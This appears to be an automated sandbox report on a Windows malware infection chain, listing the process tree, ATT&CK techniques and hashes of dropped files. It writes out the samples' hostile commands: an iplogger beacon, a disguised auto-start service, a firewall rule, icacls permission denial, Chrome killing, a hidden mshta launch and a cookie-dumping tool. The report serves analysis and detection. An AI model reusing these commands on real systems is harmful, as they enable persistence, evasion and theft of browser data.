C:\Users\Admin\AppData\Local\Temp\is-44DFF.tmp\23E04C4F32EF2158.tmp"C:\Users\Admin\AppData\Local\Temp\is-44DFF.tmp\23E04C4F32EF2158.tmp" /SL5="$6014C,746887,121344,C:\Users\Admin\AppData\Local\Temp\23E04C4F32EF2158.exe" /silent4⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
-
C:\Program Files (x86)\DTS\seed.sfx.exe"C:\Program Files (x86)\DTS\seed.sfx.exe" -pX7mdks39WE0 -s15⤵
- Executes dropped EXE
- Drops file in Program Files directory
-
C:\Program Files (x86)\Seed Trade\Seed\seed.exe"C:\Program Files (x86)\Seed Trade\Seed\seed.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c "start https://iplogger.org/14Zhe7"5⤵
- Checks computer location settings
-
C:\Windows\SysWOW64\cmd.execmd /c ping 127.0.0.1 -n 3 & del "C:\Users\Admin\AppData\Local\Temp\26FF190E7AE0F7C7.exe"3⤵
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 34⤵
- Runs ping.exe
-
C:\Users\Admin\AppData\Local\Temp\26FF190E7AE0F7C7.exeC:\Users\Admin\AppData\Local\Temp\26FF190E7AE0F7C7.exe 200 installp12⤵
- Executes dropped EXE
- Checks whether UAC is enabled
- Writes to the Master Boot Record (MBR)
- Checks SCSI registry key(s)
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe4⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\cmd.execmd /c ping 127.0.0.1 -n 3 & del "C:\Users\Admin\AppData\Local\Temp\26FF190E7AE0F7C7.exe"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 34⤵
- Runs ping.exe
-
C:\Windows\SysWOW64\cmd.execmd /c ping 127.0.0.1 -n 3 & del "C:\Users\Admin\AppData\Local\Temp\Setup.exe"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 33⤵
- Runs ping.exe
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 6986BEFD6D216F686194D4CAD418BD5B C2⤵
- Loads dropped DLL
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
- Modifies Internet Explorer settings
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies Internet Explorer settings
- Modifies registry class
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
-
C:\Users\Admin\AppData\Local\Temp\C91D.exeC:\Users\Admin\AppData\Local\Temp\C91D.exe1⤵
- Executes dropped EXE
- Adds Run key to start application
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Users\Admin\AppData\Local\058bbe28-b653-4af7-8e4d-713b1e11e5d2" /deny *S-1-1-0:(OI)(CI)(DE,DC)2⤵
- Modifies file permissions
-
C:\Users\Admin\AppData\Local\Temp\C91D.exe"C:\Users\Admin\AppData\Local\Temp\C91D.exe" --Admin IsNotAutoStart IsNotTask2⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\9e0320a5-2cd0-40a7-acd1-65111a593550\updatewin1.exe"C:\Users\Admin\AppData\Local\9e0320a5-2cd0-40a7-acd1-65111a593550\updatewin1.exe"3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\9e0320a5-2cd0-40a7-acd1-65111a593550\updatewin2.exe"C:\Users\Admin\AppData\Local\9e0320a5-2cd0-40a7-acd1-65111a593550\updatewin2.exe"3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\9e0320a5-2cd0-40a7-acd1-65111a593550\updatewin.exe"C:\Users\Admin\AppData\Local\9e0320a5-2cd0-40a7-acd1-65111a593550\updatewin.exe"3⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exe/c timeout /t 3 & del /f /q C:\Users\Admin\AppData\Local\9e0320a5-2cd0-40a7-acd1-65111a593550\updatewin.exe4⤵
-
C:\Windows\SysWOW64\timeout.exetimeout /t 35⤵
- Delays execution with timeout.exe
-
C:\Users\Admin\AppData\Local\9e0320a5-2cd0-40a7-acd1-65111a593550\5.exe"C:\Users\Admin\AppData\Local\9e0320a5-2cd0-40a7-acd1-65111a593550\5.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4848 -s 8124⤵
- Drops file in Windows directory
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4848 -s 9124⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4848 -s 9244⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4848 -s 10724⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4848 -s 10924⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4848 -s 11044⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4848 -s 14244⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4848 -s 14444⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4848 -s 16084⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4848 -s 16204⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4848 -s 14364⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4848 -s 14364⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
-
C:\Users\Admin\AppData\Local\Temp\DF36.exeC:\Users\Admin\AppData\Local\Temp\DF36.exe1⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c echo dbvicTgbw2⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c cmd < Lana.vstx2⤵
-
C:\Windows\SysWOW64\cmd.execmd3⤵
-
C:\Windows\SysWOW64\findstr.exefindstr /V /R "^LclAMwrfJRiNjlhXSZlDfaVoPHKJbmmurUsqCCnZoBJcKzCAVHAPrJFaAwLysxRlswKsShcdBlcNJmnvylNPZKexfZmARaINKmtIIlHIjlhThRJqDgquGwlHZdeTNUnpBHrpcPNVCyDPvpu$" Venuto.wks4⤵
-
C:\Users\Admin\AppData\Local\Temp\iWITnJBnWfgAPAKrb\Benedetto.comBenedetto.com Amano.psd4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\iWITnJBnWfgAPAKrb\Benedetto.comC:\Users\Admin\AppData\Local\Temp\iWITnJBnWfgAPAKrb\Benedetto.com Amano.psd5⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 304⤵
- Runs ping.exe
-
C:\Users\Admin\AppData\Local\Temp\E85F.exeC:\Users\Admin\AppData\Local\Temp\E85F.exe1⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.execmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\E85F.exe"2⤵
-
C:\Windows\SysWOW64\timeout.exetimeout /T 10 /NOBREAK3⤵
- Delays execution with timeout.exe
-
C:\Users\Admin\AppData\Local\Temp\EF26.exeC:\Users\Admin\AppData\Local\Temp\EF26.exe1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\F784.exeC:\Users\Admin\AppData\Local\Temp\F784.exe1⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\eftqridr\2⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\gjpjyjua.exe" C:\Windows\SysWOW64\eftqridr\2⤵
-
C:\Windows\SysWOW64\sc.exe"C:\Windows\System32\sc.exe" create eftqridr binPath= "C:\Windows\SysWOW64\eftqridr\gjpjyjua.exe /d\"C:\Users\Admin\AppData\Local\Temp\F784.exe\"" type= own start= auto DisplayName= "wifi support"2⤵
-
C:\Windows\SysWOW64\sc.exe"C:\Windows\System32\sc.exe" description eftqridr "wifi internet conection"2⤵
-
C:\Windows\SysWOW64\sc.exe"C:\Windows\System32\sc.exe" start eftqridr2⤵
-
C:\Windows\SysWOW64\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul2⤵
-
C:\Windows\SysWOW64\eftqridr\gjpjyjua.exeC:\Windows\SysWOW64\eftqridr\gjpjyjua.exe /d"C:\Users\Admin\AppData\Local\Temp\F784.exe"1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\SysWOW64\svchost.exesvchost.exe2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
C:\Users\Admin\AppData\Local\Temp\135A.exeC:\Users\Admin\AppData\Local\Temp\135A.exe1⤵
- Executes dropped EXE
- Checks whether UAC is enabled
-
C:\Users\Admin\AppData\Local\Temp\1C44.exeC:\Users\Admin\AppData\Local\Temp\1C44.exe1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\1C44.exeC:\Users\Admin\AppData\Local\Temp\1C44.exe2⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\AppData\Local\Temp\21D3.exeC:\Users\Admin\AppData\Local\Temp\21D3.exe1⤵
- Executes dropped EXE
- Adds Run key to start application
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt2⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt2⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\2416.exeC:\Users\Admin\AppData\Local\Temp\2416.exe1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\2E29.exeC:\Users\Admin\AppData\Local\Temp\2E29.exe1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\2E29.exe"C:\Users\Admin\AppData\Local\Temp\2E29.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\3167.exeC:\Users\Admin\AppData\Local\Temp\3167.exe1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-A2N39.tmp\3167.tmp"C:\Users\Admin\AppData\Local\Temp\is-A2N39.tmp\3167.tmp" /SL5="$20328,300262,216576,C:\Users\Admin\AppData\Local\Temp\3167.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\is-IIFLF.tmp\ST.exe"C:\Users\Admin\AppData\Local\Temp\is-IIFLF.tmp\ST.exe" /S /UID=lab2123⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in Program Files directory
-
C:\Program Files\7-Zip\XZYQODRYOE\prolab.exe"C:\Program Files\7-Zip\XZYQODRYOE\prolab.exe" /VERYSILENT4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-V7C93.tmp\prolab.tmp"C:\Users\Admin\AppData\Local\Temp\is-V7C93.tmp\prolab.tmp" /SL5="$3031C,575243,216576,C:\Program Files\7-Zip\XZYQODRYOE\prolab.exe" /VERYSILENT5⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious use of FindShellTrayWindow
-
C:\Users\Admin\AppData\Local\Temp\dc-4a5ae-3b9-b62b9-63ff756eef246\Niwisijahi.exe"C:\Users\Admin\AppData\Local\Temp\dc-4a5ae-3b9-b62b9-63ff756eef246\Niwisijahi.exe"4⤵
- Executes dropped EXE
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\nyf0htah.ruh\joggaplayer.exe & exit5⤵
-
C:\Users\Admin\AppData\Local\Temp\nyf0htah.ruh\joggaplayer.exeC:\Users\Admin\AppData\Local\Temp\nyf0htah.ruh\joggaplayer.exe6⤵
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt7⤵
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\kponmh12.kr2\proxybot.exe & exit5⤵
-
C:\Users\Admin\AppData\Local\Temp\kponmh12.kr2\proxybot.exeC:\Users\Admin\AppData\Local\Temp\kponmh12.kr2\proxybot.exe6⤵
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\main.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX0\main.exe"7⤵
-
C:\Windows\regedit.exeregedit /s chrome.reg8⤵
- Runs .reg file with regedit
-
C:\Windows\SYSTEM32\TASKKILL.exeTASKKILL /F /IM chrome.exe8⤵
- Kills process with taskkill
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c chrome64.bat8⤵
-
C:\Windows\system32\mshta.exemshta vbscript:createobject("wscript.shell").run("chrome64.bat h",0)(window.close)9⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\chrome64.bat" h"10⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:/Program Files/Google/Chrome/Application/chrome.exe"11⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=86.0.4240.111 --initial-client-data=0xe0,0xe4,0xe8,0xbc,0xec,0x7ff84f556e00,0x7ff84f556e10,0x7ff84f556e2012⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1668,18160249501630532145,16070837845500261736,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1728 /prefetch:812⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1668,18160249501630532145,16070837845500261736,131072 --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1680 /prefetch:212⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1668,18160249501630532145,16070837845500261736,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2664 /prefetch:112⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1668,18160249501630532145,16070837845500261736,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2656 /prefetch:112⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1668,18160249501630532145,16070837845500261736,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3512 /prefetch:112⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1668,18160249501630532145,16070837845500261736,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3528 /prefetch:112⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1668,18160249501630532145,16070837845500261736,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3376 /prefetch:112⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1668,18160249501630532145,16070837845500261736,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3856 /prefetch:112⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1668,18160249501630532145,16070837845500261736,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4228 /prefetch:812⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1668,18160249501630532145,16070837845500261736,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4100 /prefetch:812⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1668,18160249501630532145,16070837845500261736,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4592 /prefetch:812⤵
-
C:\Windows\regedit.exeregedit /s chrome-set.reg8⤵
- Runs .reg file with regedit
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\4avuw1y1.5uf\ra4vpn.exe & exit5⤵
-
C:\Users\Admin\AppData\Local\Temp\4avuw1y1.5uf\ra4vpn.exeC:\Users\Admin\AppData\Local\Temp\4avuw1y1.5uf\ra4vpn.exe6⤵
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s seclogon1⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Persistence
New Service
1Modify Existing Service
1Registry Run Keys / Startup Folder
2Bootkit
1Defense Evasion
Disabling Security Tools
1Modify Registry
5File Permissions Modification
1Install Root Certificate
1Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Program Files (x86)\DTS\seed.sfx.exeMD5
65a25835b71f9a9ef7ae6aca50c2abf6
SHA105353307fbc4cbdc003ab65b2a39903b7dc37bba
SHA25644ef02c35a133047b2d4546dca717782cd30e3ab87a85c15fc771cfe5321c2e8
SHA5127509981a31248d78ef3d30d40cc9446fdba9eb8b087ec4335b43996520d052636203f59aa2e122adb2aabc2d9bfd9fba7c9926071d7fed0bf492ba2fe55c889d
-
C:\Program Files (x86)\DTS\seed.sfx.exeMD5
65a25835b71f9a9ef7ae6aca50c2abf6
SHA105353307fbc4cbdc003ab65b2a39903b7dc37bba
SHA25644ef02c35a133047b2d4546dca717782cd30e3ab87a85c15fc771cfe5321c2e8
SHA5127509981a31248d78ef3d30d40cc9446fdba9eb8b087ec4335b43996520d052636203f59aa2e122adb2aabc2d9bfd9fba7c9926071d7fed0bf492ba2fe55c889d
-
C:\Program Files (x86)\Seed Trade\Seed\seed.exeMD5
07c850968d200387f7322ebf0e2c5c0e
SHA1c2a5561eb779feb799d090b1767039ea3abb0132
SHA2566f4e1c1e51480d65748535074667e26002b3ae8af8d290ec1b1684d3cb9a7df7
SHA5124d6421aaff5d5b5a3a23fe98f48936a7302f124fb944a8538ad0ba6f23b5b619fcae05c4ee08b8e6159a3f7465d5591c22813caa947a38bc928fa0875d9a8f50
-
C:\Program Files (x86)\Seed Trade\Seed\seed.exeMD5
07c850968d200387f7322ebf0e2c5c0e
SHA1c2a5561eb779feb799d090b1767039ea3abb0132
SHA2566f4e1c1e51480d65748535074667e26002b3ae8af8d290ec1b1684d3cb9a7df7
SHA5124d6421aaff5d5b5a3a23fe98f48936a7302f124fb944a8538ad0ba6f23b5b619fcae05c4ee08b8e6159a3f7465d5591c22813caa947a38bc928fa0875d9a8f50
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\07CEF2F654E3ED6050FFC9B6EB844250_3431D4C539FB2CFCB781821E9902850DMD5
f073769a76bbebbc11d5f8d086c5a899
SHA1edf9d9ec1f98f144062eb52ec0c875e4cfcbcda9
SHA256f20b6e890a150526e3574fc20d994737720b3a88dd6c3b146bfe8d0e4c5c167b
SHA51229b913f9689a307722e459d2c7078d5ea46b1c60f73a5c547f6a82004b1f15d008c471ceb272d9e350d559ee6af314b4bfc52bc334669f59727b97b84844c490
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B2FAF7692FD9FFBD64EDE317E42334BA_D7393C8F62BDE4D4CB606228BC7A711EMD5
c8f5dcc04731e23047a7e0609731c468
SHA15f4b7ec761c1d2f3a24417c06e20619216a9678e
SHA256de35f9bd437d0839a51b5c3cb5c4e2d6c6f586e703b99bfe63e60bea054b0a97
SHA5122ca4ab3cd0937f82d6e2eecbd9a21c4fc1a73ec1f19dcc8b635ad96b0cbf25383b3e2a552b9f20b59ef671af6c20f21bfcca99b48733f6bd3a9ebf140ac22caa
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\07CEF2F654E3ED6050FFC9B6EB844250_3431D4C539FB2CFCB781821E9902850DMD5
7d0f37609e743268eceb00d11575fa77
SHA105261624864017b437f96181de4c8f386466a36f
SHA25696e30a8af4fba9255de5aaf51692a26d2c257c1a4b5144e5a407bd22bfc913e1
SHA5121072731dd74df9912a5fa0a7824c5de063c6c15a5d59e20178b406521bb31a3aa07c2d79642bc37cd9a2fb538f9157d2da7b1b486fd51deb0658d6f07aca20fd
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B2FAF7692FD9FFBD64EDE317E42334BA_D7393C8F62BDE4D4CB606228BC7A711EMD5
a4c87aaecd0ba33c45ce0390b09f67a1
SHA15fcbb943647f82d6ab0991bc8bdb17600e623715
SHA256480e87a90cd3bcda223dcca5366a2e1b9c18db1c9c651f482061904f746e0a4a
SHA5120d074a26c5c54c095b274909518190fa574ed825d05671234c980d54aa8463e1a47471bc246d82b630ada177d6bbc5da7b98a401df4b34dfdbda979fdb99c84a
-
C:\Users\Admin\AppData\Local\058bbe28-b653-4af7-8e4d-713b1e11e5d2\C91D.exeMD5
526639f3fcf47eac850956ecae93b660
SHA13635069781ae0b8b834d3cf097753fd66934dda8
SHA2560a3af2144ec762b7233a92e20f753aca5a76219a14abc2a907516ad9d48dad71
SHA512c0e456e9ed005c386238916401b533113d087387f3f4f34a7eacc7e425ff9505f55ea1510fdf9e6d2423fa64bd96be7287e85805688f9214b6359a0e94c44525
-
C:\Users\Admin\AppData\Local\9e0320a5-2cd0-40a7-acd1-65111a593550\5.exeMD5
b447b44c38f8958a0185f46756488f41
SHA1f7dbc49eb5436918a1d3b2583533b7356c2e4a8c
SHA25684df27739d837276839a18260f3950e41da4e7f20331a2110d56b21c7374a83f
SHA5120c5914e2291483b6003247a7e34a37a643dca210e559bad5de7b3462f8fe6bfa70dd3b1448e6bb3aa579be54ecbcca40450ee40fcd026f85a50005c224053743
-
C:\Users\Admin\AppData\Local\9e0320a5-2cd0-40a7-acd1-65111a593550\5.exeMD5
b447b44c38f8958a0185f46756488f41
SHA1f7dbc49eb5436918a1d3b2583533b7356c2e4a8c
SHA25684df27739d837276839a18260f3950e41da4e7f20331a2110d56b21c7374a83f
SHA5120c5914e2291483b6003247a7e34a37a643dca210e559bad5de7b3462f8fe6bfa70dd3b1448e6bb3aa579be54ecbcca40450ee40fcd026f85a50005c224053743
-
C:\Users\Admin\AppData\Local\9e0320a5-2cd0-40a7-acd1-65111a593550\updatewin.exeMD5
9010fa92cc83afe00fab38703e6ffa77
SHA14d603ec27d02d84a65d1555c2df0896d7675fafc
SHA25638e6f4d8f53e8a38950594d9588cb00218bf46113c51b5241771181a521b9c75
SHA512a39ea249da189fedd5f8d1c13d03693626c70ba08c69c4ec76396d3475c5480e98c8dba1da0b74089252d8d781fc050e4eed9346b648ccbb42e22cf6d15399e8
-
C:\Users\Admin\AppData\Local\9e0320a5-2cd0-40a7-acd1-65111a593550\updatewin.exeMD5
9010fa92cc83afe00fab38703e6ffa77
SHA14d603ec27d02d84a65d1555c2df0896d7675fafc
SHA25638e6f4d8f53e8a38950594d9588cb00218bf46113c51b5241771181a521b9c75
SHA512a39ea249da189fedd5f8d1c13d03693626c70ba08c69c4ec76396d3475c5480e98c8dba1da0b74089252d8d781fc050e4eed9346b648ccbb42e22cf6d15399e8
-
C:\Users\Admin\AppData\Local\9e0320a5-2cd0-40a7-acd1-65111a593550\updatewin1.exeMD5
5b4bd24d6240f467bfbc74803c9f15b0
SHA1c17f98c182d299845c54069872e8137645768a1a
SHA25614c7bec7369d4175c6d92554b033862b3847ff98a04dfebdf9f5bb30180ed13e
SHA512a896acc38a6ff9641b0803f0598369c0d4fa8e38da28c1653c57948fe5e3274880d1b2e7959cd1b1da43375a1318b3ba72e13240bf40b27c852ee72bbb16cadc
